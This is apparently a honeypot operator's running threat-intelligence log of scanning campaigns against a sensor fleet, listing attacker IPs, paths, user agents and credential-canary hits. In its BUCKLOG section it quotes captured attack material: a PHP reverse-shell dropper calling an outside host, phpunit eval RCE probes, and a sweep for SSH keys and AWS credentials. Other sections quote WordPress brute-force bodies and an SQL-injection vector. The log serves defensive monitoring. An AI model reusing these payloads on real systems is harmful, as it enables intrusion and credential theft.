№23–№24: 23.94.155.0/24 cluster, 12 IPs, per-leg IP separation. Second run 09-18 (200 ev, 0 mints); watch for a third run with mints.
flowchart LR
    CL["23.94.155.0/24<br/>per-leg IP separation"] --> ENV["53-path .env fanout<br/>+ config JSONs"]
    ENV --> ADM["Adminer POSTs<br/>joomla_app + 22-char pw"]
    ADM --> PMA["phpMyAdmin enum"]
    PMA --> WP["wp-batch SQLi"]

ALIYUN-PROBE paused

Named operator 69.5.20.14 (Byteplus, ID). №24: first idle window. Byte-identical 404-path passes, 9-UA rotation, /.aliyun/* sweep.
flowchart LR
    OP["Byteplus 69.5.20.14<br/>9-UA rotation"] --> CENSUS["404-path byte-identical<br/>census + suffix fanout"]
    CENSUS --> ALI["/.aliyun/* 21-path<br/>credential sweep"]
    ALI --> ZERO["0 mints —<br/>recon only"]

SYNC-ENUM-WAVE merged

MERGED into WP-FORM-BRUTE (№41): the fleet-wide wp-user-enum wave runs the SYNC-ENUM Chrome/127 UA family AND registered SYNC-ENUM runners (103.154.62.39, 119.198.229.152) inside the WP-FORM roster, now with credential POSTs added. Origin: №25 — 8 IPs, byte-identical 282-ev user-enum passes (270 tarpit + 12 enum calls), staggered ~15 min.
flowchart LR
    Q["Scheduler queue<br/>1 IP per ~15-min slot"] --> P["Byte-identical 282-ev pass<br/>270 tarpit cycles + 12 enum calls"]
    P --> N1["control"]
    P --> N2["ru-edge"]
    P --> N3["sponge"]
    N1 --- ZERO["0 mints"]

MEGA-DICT idle

№65: MISS — no replay this window; frantech-ts −84% to 1,427 ev. №64: 24TH REPLAY — 155.2.191.115 (Host Universal Pty US, ipsum:1; the row's 155.2.191.165 is the SAME /24) frantech 01:09:32–01:10:27 UTC: full 13,776/13,776 in 55 s, 208-UA rotation, all 5 decoy singles; manifest intact for the fourth window. №63: 22ND+23RD replays — RETURN TO FRANTECH under tzulo + FIRST PARTIAL REPLAY. 23.234.118.146 (tzulo US; №34's replay host 23.234.117.146 is the /24 sibling) ran the full 13,776-path manifest in 55 s (03:29-03:30 UTC) under 208 router/IoT UA forgeries (TP-LINK WR940N, MikroTik WinBox 3.18, ZTE MC801A, aiohttp/3.8.6); 176.119.150.252 (Owl Limited DE) ran a 3,074-path STRICT SUBSET in 18 s with the same 208-UA rotation — one shared artifact split across two hosts, both carrying the 5 traveling decoy singles. Manifest held at 13,776 (anti-join vs pre-window hosts impossible — v_full frantech retention is shallow; size + decoys are the evidence). Drove frantech +99%. №62: TWENTIETH+TWENTY-FIRST replays — FIRST cross-host same-window pair and first off frantech: 103.125.233.17 (xTom HK, new host class) control-1 13,777 ev / 13,776 paths in 3.5 min under 209 router/IoT UAs; 169.150.211.193 (Datacamp Limited DE) ru-edge-1 13,776 ev / 13,776 paths in 58 s. Anti-join vs №59's host 23.234.116.20 (accumulated set): 13,776/13,776 kept, 0 new — manifest UNCHANGED at 13,776, consistent with №59's +29 growth; same artifact-carried decoy singles as №47. №59: NEW host 23.234.116.20 (tzulo US — third tzulo-hosted replay) — frantech 13,776 ev / 13,776 paths in ~2 min (05:54–05:55 UTC), 13,747 seen before, WORDLIST GREW +29: /bins/adb/akuma.* (15 archs), /bins/kushnet.* (11 archs), /bins/watchdog + 2 one-off UUID singles; 208 UAs in the IoT-router rotation. №58: NEW host 146.70.200.195 (M247, AU-cc) — frantech 13,747 ev / 13,747 paths 01:54–01:55 UTC-4 under a 25-strong IoT-router UA rotation; anti-join vs all-time frantech: +4 NEW (/s7cn4.x86, /eclipse.ppc, /jireyrsdnf/mips, /jireyrsdnf/x86). №57: 138.199.60.3 (Datacamp SG — the №55 host) replayed 13,742 paths on frantech 04:31–04:33 UTC; anti-join vs all-time frantech: +64 NEW — a second record-class growth (№56 was +66): /0c0et52nq5kb/assets/js/* hex-bucket paths + beacon/cegg/gb/hydra dropper families. №56: 193.32.248.130 (31173 Services AB DE — repeat operator ASN) replayed 13,678 paths in 1 m 22 s (04:18–04:20 UTC 10-19); 13,612 seen before (99.89%); WORDLIST GREW +66 — largest growth on record (№34 was +6): a new /l_*.sh dropper family (l_telnet, l_thinkphp, l_wifiweb, l_xwiki, l_spark, l_ssh, l_videoflow, l_weaver, l_wifi) plus /str_x86_64, /vb.sh, /samsung, /systemd-ntpd, /ttyd.sh, /vc.sh and more. №55: RETURNED AFTER ONE MISS with TWO operators — 138.199.60.3 (Datacamp SG, ipsum:1) 13,669 ev 07:21–07:25 EDT + 146.70.200.3 (M247 Europe) 13,612 ev 00:31–00:32 EDT on frantech-ts; BOTH fetched the same 13,612-path wordlist, 13,606 (99.96%) previously seen on frantech (anti-join) — shared artifact, rotating hosts; 6 new paths; hundreds of IoT/router UAs; 0 mints; 96% of the node's 28,291 events (+121%). №54: FIRST MISS after 20 replays — frantech-ts fell 97% (487 ev vs 14,423 in №53); no dictionary replay in the window. Paused pending one more window. №53: TWENTIETH replay — 23.234.116.20 (tzulo, inc. US — the ASN behind №34's 23.234.117.146) frantech-ts 13,606 ev / 13,606 distinct paths in ~1 min (00:12–00:13 EDT 10-16), 94% of the node's day; replay-only, 0 mints. №52: NINETEENTH replay — 176.119.150.64 (Owl Limited DE — the org name behind SS-PROBE's Owl Limited JP) frantech 13,583 ev / 13,583 paths in 91 s (01:26 EDT 10-15), router UA set (ASUS/TP-LINK/Tenda/Tencent) + curl/8.2.1 + Chrome/119 aarch64; 12,995 of 13,583 paths match the saved 13,000-path capture (+583 growth vs it, +18 vs №51's 13,565); 4 single decoy hits, 0 mints. №51: EIGHTEENTH replay — NEW host 185.209.196.130 (31173 Services AB DE, the ASN's third replay host after №30's 185.213.155.227 and №34's 193.32.126.191): 13,565 ev / 13,565 distinct paths in 2 min (02:10–02:12 EDT, frantech-ts), +11 paths vs №50. The same ASN also ran a small app-config census (193.32.126.169, UA 'wsn') on 3 nodes — two templates in one window again. №50: SEVENTEENTH replay — 23.234.118.20 (tzulo US, the ASN's third replay host) ran 13,554 ev / 13,554 distinct paths in 54 s on frantech-ts (23:56 EDT) under 200+ router/IoT device UAs; anti-join vs №49's set: +19 / −1 (13,536 → 13,554 measured). New: /bins/dvr/akuma_* ×13 archs + /bins/telnet/akuma_x64 (akuma grows), /armv7-l7 + /x64s-l7 (L7-filter variants), /enroll.sh, /nezha-agent, /in, /ront. 0 mints. №49: SIXTEENTH replay — 185.209.196.172 (31173 Services AB DE, ipsum:2, the ASN's THIRD host after №30's 185.213.155.227 and №34's 193.32.126.191) frantech 13,535 ev / 13,535 paths in ~1 min (00:48 EDT); anti-join vs №48 +33/−0 (13,502 → 13,535, ELEVENTH straight growth): /bins/android/akuma_* ×19 archs, /pack/agent/nodewatchd-linux-* ×8 archs, /bins/payloads/{c,w}.sh, /champ, /miner_setup.sh, /rainii686, /st_x86_64, /svc/u.sh. Host ledger: Datacamp ×5, tzulo ×3, 31173 ×3, Zenlayer ×2, Owl ×1. №48: FIFTEENTH replay — 23.234.118.20 (tzulo US — the №34 host class returns; ipsum:1) frantech 13,502 ev / 13,502 paths in 54 s; anti-join vs №47 +13/−0 (13,489→13,502, TENTH straight growth): new /mogh739/{metrics-agents,static-assets}/-/raw/main/* GitLab-raw installer set (11 paths), /d/432936b3a0439572/o/nnnnnede/init.sh2, /payload/1ay0eknhal4o/6lpiz8.sh. №47: FOURTEENTH replay — 193.32.248.142 (31173 Services AB DE, NEW host class for the campaign; ipsum:2) on frantech 05:21–05:22 UTC: 13,490 ev / 13,489 paths, 200+ router/IoT UAs, GET-only; anti-join vs №46 +11/−0 (13,478→13,489; growth series …+31/+29/+4/+11, ninth straight growth); 0 mints. №46: THIRTEENTH replay — 138.199.60.3 (Datacamp Limited SG, ipsum:1; new country for the Datacamp class) replayed on frantech 02:01–02:03 UTC: 13,478 ev / 13,478 paths in 2 min, GET-only, 95% of the node's window volume. Wordlist +4 vs №45's 13,474 (growth series …+31/+29/+4). Host ledger: Datacamp ×5, 31173 Services AB ×2, tzulo ×2, Zenlayer ×2, Owl ×1. №45: HOST RETURNED TO DATACAMP CLASS — 178.249.209.163 (Datacamp Limited CZ, ipsum:1) replayed on frantech 02:09–02:11 EDT: 13,474 ev / 13,474 paths in 2 min, GET-only, 208 UAs (IoT-router UPnP class this pass: Mi Router 3E, UniFi Dream Machine Pro, Totolink A3002RU, Phicomm P804-N2 + python-requests). Wordlist ≥+29 vs №44's 13,445 (13,474 distinct; +29 floor — /ce.sh, /qv3.mips first-seen). Host ledger: 31173 Services AB ×2, Datacamp ×4, tzulo ×2, Zenlayer ×2, Owl ×1. №44: HOST ROTATED — 176.119.150.252 (Owl Limited DE, new host class) replayed on frantech 01:24–01:25 EDT: 13,445 ev / 13,445 paths in 90 s, GET-only, 208 UAs. Anti-join vs №43's 13,414: +31 new / −0 dropped — SIXTH straight growth (+6/+27/+34/+39/+17/+31). New: /bots/{bot,dldr,mb,go_bot}.* families, /bins/morte.{arm,x86_64}, /bins/xnxnxnxn* ×6 archs, /pack/agent/nodewatchd-linux-386, /nyx_bot_linux_amd64_exec, /Hilix.sh, /87sbhas6as.sh, /adb.arm7, /m.sh. №43: 98.98.47.133 (Zenlayer MY, №40's host) returned — frantech 00:23–00:25 EDT, 13,414 ev / 13,414 paths in 2 min. Anti-join vs №42's set: +17 new / −1 dropped (13,398 → 13,414) — fifth straight growth (+6/+27/+34/+39/+17). New: /backup/winki.* ×10 archs, /nyx_bot_linux_{amd64,mipsle}_packed, /bins/dlink.sh, /bins/morte.i686, /botbin, /dropfix, /main_host, +3 /c/ token paths. №42: SAME-HOST RETURN — 185.213.155.227 (31173 Services AB, №30's host) replayed on frantech-ts 23:32–00:33 UTC: 13,398 events / 13,398 paths over ~1 h (slow pass vs the 2-min bursts), 0 mints. +209 paths vs its own 09-24 set; +39 vs №41's pooled 13,359 (4th straight growth: +6/+27/+34/+39). New families: /bins/aurora.* (Aurora), /bin/manta.* ×13 archs, /release/DS.*, /302/*, random-token paths. №41: 138.199.6.234 (Datacamp CH), +34 incl. first xmrig entries.
flowchart LR
    F["13,776-path IoT dropper-URL<br/>dictionary — unchanged vs №58–59"] --> R1["№62 replay pair: xTom HK →<br/>control · Datacamp DE → ru-edge"]
    R1 --- B["0 POSTs · 0 mints<br/>byte-shared artifact"]
    F --- NEW["New families:<br/>aurora.* · manta.* ×13"]

WP-BATCH family recurring

Not a standalone campaign since №12: wp-batch bodies ride inside INFOCREST-KIT / AKAMAI-CONFIG / NIGHTAGENT chains (SQLi via author_exclude UNION SELECT).
flowchart LR
    MP["/wp-json/batch/v1<br/>multipost requests body"] --> SQLI["UNION SELECT<br/>author_exclude SQLi"]
    SQLI --> HOST["Rides inside INFOCREST ·<br/>AKAMAI-CONFIG · NIGHTAGENT"]

ORACLE-SWEEP idle

№52: absent — WebSiphon 0 ev; the vhost/admin/LLM pivot pass did not repeat; fifth-window question stays open. №51: FOURTH window, SURFACE PIVOT — same honest UA WebSiphon/next-0.1, census rebuilt: 163.192.99.99 (Oracle Corp US) lauterbourg-only 873 ev / 788 distinct paths in 8 s (23:08:54–23:09:02 EDT): not-handled 730 + kiteworks asset/shell/session legs + llm-endpoint probes + k8s serviceaccount + docker daemon + observability health/metrics; 0 mints, no .env-class families observed. №50: THIRD window — three passes in one 9-h span, census WIDENED ~60%: 168.107.90.53 (Oracle SG, /24 sibling of №12's 168.107.91.14) control 235 ev/235 paths (09:48 EDT, 1 mint); 161.118.208.28 lauterbourg 320/320 (15:46 EDT); 161.118.206.143 farm 384 ev/384 paths/84 fams in 86 s (18:50 EDT, 1 mint). Same honest WebSiphon/next-0.1; new families: k8s-secret-manifest, kubeconfig, terraform-tfstate/tfvars, firebase-json, litellm-config, openai-config-flat, doctl-config, streamlit-secrets, vercel-json, ssh-private-key/authorized-keys probes. 2 fresh mints (farm, control). №49: SECOND consecutive window — five FRESH Oracle SG IPs, again one-per-sensor (146.235.22.78 farm 04:53, 161.118.198.110 ru-edge 06:10, 134.185.90.18 netcup 09:28, 152.69.221.133 aidev 14:52, 140.245.112.148 frantech 14:12 EDT), same 239-path / 65-family `WebSiphon/next-0.1` census (kill-chain journeys identical to №48), 3 mints (farm, ru-edge, aidev — the two no-canary nodes stay mint-less). №48: RETURNED + NEW GENERATION after №34–№47 idle — 5 Oracle-hosted IPs one-per-sensor on 5 sensors (146.235.16.170 control, 146.235.22.78 farm, 161.118.198.110 ru-edge, 161.118.211.119 lauterbourg, 134.185.95.195 sponge 64-path short leg) under a NEW honest self-labeled UA `WebSiphon/next-0.1` (was forged Chrome/126): 239-path census (2.5× the ~94-path core), 65 result families — env variants + config bundles + CI/CD + cloud creds + AI/LLM + OCI-specific paths — 40–60 s per node, 3 mints (control, farm, ru-edge 1 each). UN-MERGED from METADATA-HUNT in №33 per the registered trigger. №34–№35: two consecutive absences since the un-merge — the №34 rule fired, status is standing-paused. Un-pause on a 140.245.x/161.118.x run carrying the ~94-path core.
flowchart LR
    OP["5 Oracle SG hosts<br/>one per sensor"] --> SW["~94-path .env +<br/>config census<br/>Chrome/126"]
    SW --> MINT["/.env mints<br/>1/IP (3 sensors)"]
    SW --> REJ["farm burst<br/>32 tracebit-http-error"]

SS-PROBE idle

№52: absent — 0 __ss_probe marker events. №46: 105.115.6.147 continued (4 mints: aidev 3 + farm 1, 5/6d); 105.115.5.210 absent. №45: THIRD-GENERATION operators — 105.115.5.210 ran the marker+mint template 3× (aidev 19:33, farm 20:06, aidev 20:24 EDT) + sibling 105.115.6.147 once (aidev 21:06), 4 mints, fresh marker per run, python-requests/2.31.0 — the 105.115.x pool recurs (№33's operator was 105.115.10.78). №44: same operator RETURNED on schedule — 105.112.26.83 minted 4 in 1 h (aidev ×3 + farm, 03:50–04:50 EDT), second consecutive window, same cadence. №43: THIRD operator — 105.112.26.83 minted 4 in 1 h (aidev ×3 + farm, 03:50–04:50 EDT) with marker /__ss_probe_6044ce427532cb1225692c4f1807383d__ under python-requests/2.31.0. №34: 105.115.10.78 returned solo (4 markers / 4 mints on ai-devbox-1) — its second run; 23.234.77.64 and the №32 originals absent. Operator ledger: 5 operators / 5 ASNs, every marker suffix fresh per run.
flowchart LR
    P["GET /__ss_probe_<32-hex>__<br/>python-requests/2.31.0<br/>guarantees first-seen"] --> E["GET /.env → 200<br/>canary mint"]
    E --> END["Run ends<br/>no POST · no fanout"]

CONFIG-SWEEP active

№69: RETURN, NEW OPERATOR — 93.152.209.6 (Omniline Investment BG) canary-farm-1 94 ev / 94 unique paths / 40 families in 63 s (18:15:47–18:16:50 stored) under forged Googlebot/2.1, with the kmonbase random-stem markers (№67's kmonbase holder was 176.65.144.71 — the template moved hosts); the IP also collected 3 mints 10-24→10-27 per the 6-day Tracebit history. №54: third absence. №53: second absence. №52: absent — 87.120.104.29 0 ev; first absence since the №47–№51 arc; 18 held credentials unwatched. №51: RETURN — 87.120.104.29 (Sino Worldwide NO, Googlebot/2.1 forgery) ru-edge 3,000 ev / 1,642 paths / 140 fams in two passes (11:39 + 19:31 EDT), 12 mints issued at /.env-class paths (18/6d) — the campaign's biggest mint run; drove ru-edge's app-config-php/app-config-python/application-properties/terraform-tfstate/webapp-config-bundle-js/fake-git/phpmyadmin spikes. №48: FIRST MISS in six windows — 87.120.104.29 absent; 12/6d held unused. №47: FIFTH window — ru-edge 1,650 ev / 1,642 paths / 140 fams in ~1 min (10:12 UTC 10-09, Googlebot/2.1) + 6 mints 10:12:40–50 (12/6d, 0 use); env-production ×187, ssh-private-key-error ×28, webshell-probe ×39. №46: FOURTH window — ESCALATED: 87.120.104.29 burst 300 ev / 150 paths / 40 families on canary-farm-1 in ONE SECOND (21:45:13–14 UTC, Googlebot/2.1); 144 events carried the NEW env-production-error tag (farm's env-production decoys answering /.env_backup, /.env.saved, /docker-compose/.env, /.env.old~ variants); 2 mint failures (400), 0 mints today (6/6d all from the 10-06 ru-edge run). №45: THIRD CONSECUTIVE WINDOW — 150 events (the light Googlebot/2.1 pass shape; node count verified 150 total). №44: SECOND CONSECUTIVE WINDOW, first on ru-edge — 1,650 ev / 140 fams / 1,642 paths in one burst 20:39 EDT under Googlebot/2.1: wp-config variant census + 12 SSH-private-key paths (drove ru-edge's new ssh-private-key-error tag, 30 ev) + 6 mints at /.env — FIRST MINTS SINCE №33. №43: 87.120.104.29 RETURNED with a changed kit — netcup 150 paths in 0.087 s under Googlebot/2.1, webshell-probe ×6 + dockerenv-marker (the Tamatiya shape), not the .env census; 0 mints. 87.120.104.29 (Sino Worldwide NO, Googlebot/2.1 forgery). №33: SECOND mint run — 12 mints inside farm's 2,950-ev 1-minute burst + 6 on control's 1,239-ev census. №34: NO NEW RUN — the window's control rows and 6 mints are the №33 run seen through the 24-h seam.
flowchart LR
    B["1-minute census burst<br/>1,600+ paths, 121 families"] --> W["wp-config · app-config ·<br/>aws-credentials paths"]
    W --> MINT["/.env mints<br/>18 in-window"]

WP-FORM-BRUTE active

№65: 121.40.140.50's digest rows are overlap re-show only (last ts 05:17 stored, inside №64's window; no new POSTs); NEW distributed leg 0d2aa6aee590 (first seen 10-28): 20+ IPs × 1-2 wp-login probe/credential events, forged Chrome/127.0.0.0 Win64, 5 sensors, from 19:53 stored 10-27; the Chrome/127 enum pool (eee552d8955a ⟳) returned — 9 IPs × 21 wp-user-enum-rest events, 1,650 cluster events. №64: NEW LEG SHAPE — single-IP numeric enumeration: 121.40.140.50 (Hangzhou Alibaba CN) lauterbourg 18,032 POSTs over 13.5 h (15:44–05:17 UTC), bodies log=admin&pwd=<0,1,2,…>&redirect_to=http://89.116.25.211/wp-admin/&testcookie=1 — sequential passwords, NO _wpnonce, one UA; df15d0ee3ccf cluster legs continued on netcup/sponge (56/31 ev). №63: RECORD WINDOW — 494 distinct credential pairs fleet-wide (prior record 363): farm 224 pairs/103 IPs, control 125/5, netcup 56/2, sponge 44/2, lauterbourg 51/1 (bare Mozilla/5.0 single-IP leg); bodies log=admin + _wpnonce + testcookie, forged Chrome/130-151 class; the 200-pair growth alarm is blown. №57: FIRST ABSENCE after the №56 alarm — the 233-IP pool did not repeat (no wp-login-credential pool observed); the alarm verdict stays open until a second crossing or a stable retraction. №56: ALARM CROSSED — aidev wp-login-credentials 233 events from 233 distinct IPs (one POST each, 223 distinct bodies): the 200-pair growth alarm fired for the first time; the wp-admin leg collapsed to 1 IP / 2 ev. №54: pool 54 IPs / 165 wp-login events on ai-devbox-1 (cluster e6e6f15a77e8 47 IPs / 141 ev); wp-admin leg 09d3f351065c 5 IPs / 40 ev; below the 200-pair alarm. №53: pool e6e6f15a77e8 14 IPs / 42 ev on ai-devbox-1; the wp-admin leg 09d3f351065c returned (7 IPs / 56 ev, ai-devbox-1). №52: contracted — pool e6e6f15a77e8 38 IPs / 114 ev on aidev+farm; the №51 wp-admin leg 09d3f351065c absent; 0 mints, well below the 200-pair alarm. №51: TWELFTH window + NEW wp-admin walk leg (09d3f351065c, first seen 10-14): 21 IPs / 168 ev on aidev+farm under forged Chrome/146–152 — probe → credentials → /wp-admin/profile.php + /wp-admin/ [wp-admin-redirect] + wp-rest-auth-required (farm 44 + 39; aidev wp-login-credentials 79 4.1× / probe 164 5.0×); MEGA-DICT's replay (185.209.196.130, router UAs) also crossed the wp paths. №50: ELEVENTH window — ed66 leg 18 IPs / 72 ev (farm+aidev); df15 leg 3 IPs / 168 ev on farm+netcup+ru-edge (netcup and ru-edge are new nodes for df15); below the 200-pair growth alarm. №47 TENTH window — NEW CLASS 75df0dbb0841: 12 residential IPs × exactly 3 credential POSTs each (36 total, log=admin, tiny dict: Admin, admin@123, Admin@123, pass, demo, droidx1!, Bot@123456, sso@123, admin1!), FIRST vhost-aware redirect_to (sso.rightabouteverything.show on farm, inference.fapthropic.com on aidev); prior classes out. №46 NINTH window — CONTRACTED to background: 78 credential POSTs (farm 40, aidev 38) from the standing wp-login cluster (sig 9ff5e462ca0e: 22 IPs / 154 probe+credential events); the CANADA 217.60.x class absent, no year-theme bodies captured. №45 EIGHTH window — MAJOR ESCALATION: 886 wp-login-credential POSTs (farm 459 + control 427, 8.2×/inf ratios) from ~25 IPs. NEW OPERATOR CLASS: 12651980 CANADA INC. (AE) block 217.60.196.x + 217.60.198.x ran a synchronized distributed wave on farm+control (≥19 IPs, 18–44 POSTs each, 10:48–22:17 EDT) with a YEAR-THEMED dictionary — log=admin|webmaster vs pwd=Admin#2026, Webmaster!2024, P@ssw0rd@2026 (bodies verbatim, _wpnonce + testcookie anatomy kept). NEW xmlrpc method wp.getAuthors (2 POSTs). Second class: 3-IP synchronized tarpit+brute (160.251.210.23 GMO JP, 107.190.185.67 Silver Star US, 51.210.150.97 OVH FR, 09:04 farm + 09:18 control, 14 min apart, 16-min POST cadence) + singles 43.162.96.166, 159.223.213.68, 162.243.247.186, 185.216.203.177. FIRST control-1 wp-login activity at scale; enum rest-single 20 ev (.14). №44 SEVENTH window — CONTRACTED: 80 credential POSTs / 13 IPs + 9 xmlrpc / 6 IPs (ed66 leg only); enum absent a THIRD window. №43 SIXTH window: enum stage absent a SECOND window (0 wp-user-enum-rest); 92 credential POSTs from 42 IPs + 123 probes / 41 IPs + 32 xmlrpc / 24 IPs; ed66 leg 21 IPs / 84 ev — the only registered signature in today's cluster table. ⟳ 5th window №42: roster grew to 46 runner IPs across the wp-login/xmlrpc/enum surfaces, but the wp-json ENUMERATION STAGE VANISHED (0 wp-user-enum-rest vs ~840 in №41) — a credential-only wave: df15d0ee3ccf 6 IPs/370 POSTs (3 sensors) + ed66cc967251 21 IPs/84 + NEW sig 2bdde2df2cf6 (4 IPs, aidev). NEW one-POST generation (Chrome/152 class) derives passwords from the target vhost: pwd=inference (fapthropic), pwd=sso (rightabouteverything), amen123. №41: ~25 runners, 840 enum + ~540 credential POSTs.
flowchart LR
    Q["Rotating roster<br/>~25 runners · 7 of 8 nodes"] --> E["wp-json users list<br/>+ single-ID enum"]
    E --> G["GET /wp-login.php probe<br/>harvest nonce + testcookie"]
    G --> P["POST log=admin|webmaster|editor<br/>one password per body"]
    P --> R["redirect_to = fleet vhost<br/>numeric + dictionary modes"]

ZKILLU-GITWALK idle

№40: NO SECOND WINDOW — 169.40.142.2 absent, no second IP or node, and no AWS use of its 2 canaries. One window so far. №39 ⚠ NEW: single-IP git-internals mass walk — 169.40.142.2 (Zkillu SAS FR) ran 14,787 events / 10,150 paths / 44 families on canary-farm-1 in 10 minutes (12:46–12:56 UTC+4), the fleet-record single-IP event. Shape: HEAD / + robots/sitemap tarpit probes, a config census (/config/app.php, /html/.env, /.circleci/config.yml, /credentials.json, /secrets.json, /.aws/credentials, /.env — 2 mints), then the fake-git mass: 11,281 fake-git-miss + 2,333 fake-git + 760 fake-git-redirect, with HTML-fragment garbage paths (/.git/logs/refs/<h1>Index, /<pre>, /<hr>) that indicate the tool scrapes link targets out of served HTML. Bare stripped-Chrome UA (Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, no platform token). Drove canary-farm-1 +262% and the fake-git-miss 3,760× spike.
flowchart LR
    T["HEAD / · robots.txt · sitemap.xml<br/>tarpit probes"] --> C["Config census<br/>.env · CI configs · secrets"]
    C --> MINT["/.env — 2 mints"]
    C --> W["Git-internals mass walk<br/>14.4k fake-git events"]
    W --> GARBAGE["HTML-fragment paths<br/>/.git/logs/refs/&lt;h1&gt;Index"]

SS-NET TOOLING active

№57: BLOCK ROTATION — registered operator .211 still absent, but siblings minted 8: 80.94.92.126 5 credentials across 4 sensors (8/6d, antique-UA forgeries incl. POLARIS/6.01 + Opera 7.51) + 80.94.92.65 3 on aidev/control (4/6d). №53: absent — 80.94.95.211 0 events / 0 mints this window. №44: .211 minted 2 (Chrome/5.0.358 forgery) and used 1 credential (4 ops: GetCallerIdentity ✓ + ListFoundationModels ×2); .92.65 minted control-1 (Chrome/75 Android forgery). ⟳ standing .env-variant walker, sig 6a6fdaca6a1f / SS-Net RO. №42: collector .92.65 minted 7 across aidev/control/farm under rotating mobile+desktop forgeries (17/6d); primary .211 ABSENT — first miss in five windows. №41: .211 minted 2 and used 1 credential (5th use window).
flowchart LR
    W["80.94.95.211<br/>.env-variant walk"] --> BURST["34 mints in 27 s<br/>ai-devbox-1"]
    BURST --> USE["AWS use<br/>GetCallerIdentity ✓<br/>ListFoundationModels ✗"]
    SIB["80.94.92.65 sibling"] --> MINT2["7 mints · 17/6d"]

SONICWALL-VPN-PROBE idle

№40: no second window (0 events). №39 ⚠ NEW: Sonicwall SSL-VPN login probe, signature a2176d32b35f (first seen 10-02) — 4 IPs, one per sensor (ai-devbox-1, canary-farm-1, frantech-ts, sponge-01-ts), 52 events: /auth.html [sonicwall-portal 200] → /auth1.html → /sslvpnLogin.html → companion webshells. Lineage: №14's 45.79.218.38 ran the same 15-ev shape solo on a Linode IP. 0 mints; promote on a run with credential POSTs.
flowchart LR
    A["/auth.html<br/>sonicwall-portal 200"] --> B["/auth1.html"]
    B --> C["/sslvpnLogin.html"]
    C --- Z["0 mints · 4 IPs · 4 sensors"]

TOKEN-CRAWLER recurring

⟳ /24 45.198.224.x. №42: FULL TEMPLATE RETURN — 9 fresh /c/<100-char token> paths on frantech-ts (first-seen) + .env directory variants on netcup (/queue/.env, /tokens/.env, /mail/.env); 0 mints. .124/.125 ran bare tarpit-module passes on 7-8 nodes. №39: scout shape; №38: 3 synchronized frantech waves.
flowchart LR
    T["45.198.224.x /24<br/>forged Chrome/114"] --> C["/c/<100-char token> walk<br/>+ .env directory variants"]
    C --> Z["0 mints · census only<br/>3 synchronized waves"]

BUCKLOG-KIT recurring

№61: RCE ARM ON THE REBUILT NODE — 185.177.72.49 lauterbourg-01-ts 13:55 UTC (~23 h after the node's 10-23 15:06Z rebuild): NextAuth credential POSTs (/api/auth/callback nextauth-credentials, /__nextjs_action nextjs-server-action, WebKitFormBoundary bodies) → phpunit eval-stdin md5('phpunit_rce') verify → dropper <?php $s=fsockopen("185.177.72.3",20020) — C2 port moved 20116→20020 — → langflow /api/v1/validate/code oracles {"code":"@exec(\"raise Exception('abp_29pdi6cvy9ug')\")"} + time.sleep(3) + {"code":"pass"}; /login kiteworks-login-attempt 401 (stale lure, kiteworks OFF since rebuild). Census arm sibling .9 on canary-farm-1 13:13–13:16 (19 POSTs, curl/8.7.1, 3 mints, gravitysmtp probe + /.aws/credentials walk). Kit POSTs now seek execution on lauterbourg's fresh PHP surface. №59: census arm on sponge-01-ts — 185.177.72.69 269 ev (gravitysmtp-mock-data class); light leg .7 38 ev; collector .64 absent; RCE arm silent. №58: RCE arm silent; census continues under NEW host 185.177.72.69 (canary-farm-1, 30 fams — gravitysmtp-mock-data + aws/s3 credential tree); collector .64 2 mints on farm (6/6d); light legs .7 (kiteworks walk) + .29 (curl). №57: BOTH ARMS LIVE ON SPONGE — census .70 second window (639 ev, curl/8.7.1) and RCE ARM RETURN: .50 ran 284 phpunit-eval-stdin events on sponge (its first RCE volume since №8); .64 minted 2 on ru-edge 01:57 (4/6d). №56: census arm on THREE fresh IPs — .70 sponge 1,430 ev / 1,006 paths / 31 families (curl/8.7.1, openapi + AI-credential census), .69 lauterbourg 203 ev / 11 families, .17 canary-farm-1 GravitySMTP probe + 3 MINTS; RCE arm .50 idle. №55: THREE RUNS on sponge-01-ts from 185.177.72.50 (304 ev, 40 phpunit POSTs): the №54 kit at 05:31 and 10:53 (10:53 adds a $skip config-reader variant), then a NEW capability battery 23:11–23:17 — 'AUDITOK|'.PHP_VERSION cwd walker, 'A:VERSION:exec/noexec' shell_exec check with a fixed .env path list, ID/ENV probes (getmyuid+hostname, APP_ENV/APP_KEY), four execution-mechanism tests incl. <?php system("id"); ?>, md5/sha1/time/strlen oracles, a PATHSCAN_ENV re-run, and an ENVK getenv() key dump + composer.lock reader. Fake webshell answered 200 throughout; 0 mints. №54: RCE STAGE CAPTURED — 185.177.72.50 (ipsum:3+firehol2) sponge-01-ts 05:30–05:31 EDT: 277 ev / 191 paths / 22 POSTs in 4 s — POST /_ignition/execute-solution ×9 (404) interleaved with 13× POST eval-stdin.php (fake 200): md5("6b3804159d5abceb") verify → PATHSCAN_ENV_BEGIN .env reader → config/log readers (config/database.php, bootstrap/cache/config.php, storage/logs/laravel.log, storage/framework, composer.lock, database/database.sqlite; $maxfiles=48, $budget=524288, 8-level ../ traversal) → secrets sweep $names=array(".ssh/id_rsa",".ssh/id_ed25519",".aws/credentials",".git-credentials",".npmrc",…) → exec probe $cmd="id; hostname; uname -a 2>/dev/null". Census arm .64 ran 258 ev at 12:53 EDT. 0 mints; no dropper or reverse shell captured. №52: 185.177.72.64 return — lauterbourg 258 ev / 254 paths + 2 mints on aidev (4/6d); gravitysmtp + openapi + phpunit census shape unchanged. №51: census arm on netcup — 161.178.140.14 (Amazon US, Chrome/123 forgery) 191 ev / 53 paths / 12 POSTs in 2.5 min (02:03 EDT): gravitysmtp-* census (mock-data/settings/config/miss) + phpunit-eval-stdin ×2 + webshell sweep; 0 mints. №50: census arm back — 185.177.72.75 ran frantech-ts (NEW node for the arm): 999 ev / 264 paths / 5 fams in 6 min (21:35 EDT) under an 11-UA modern rotation that included the CREDSWEEP Mozlila/5.0 typo forgery (79 ev); 15 POSTs; sibling .49 minted 1 on control (19:06 EDT). №49: .64 minted 2 on control (23:36 EDT, Firefox/5.0 forgery) and 1 credential reached AWS — the /24's SECOND mint+use after №44's .205 SES run, and this time from 4 egress IPs (see CREDENTIAL-DRAIN). .38/.75/.9/.100/.205 absent. №47 WIDEST window — NEW operator .100 ran control's largest census (1,433 table-ev / 1,637 raw / 1,008 paths / 102 fams in 20 min, curl/8.7.1) incl. control's 10 first-seen SaaS/backup paths (xai_config.yml, mailgun, brevo, sparkpost, mongodump.zip, docker-compose.yml.tar.gz, sentry, rabbitmq, prometheus/rules, internal/configprops); .38 fourth consecutive window; .205 moved to lauterbourg (244 raw ev) + 1 control mint. 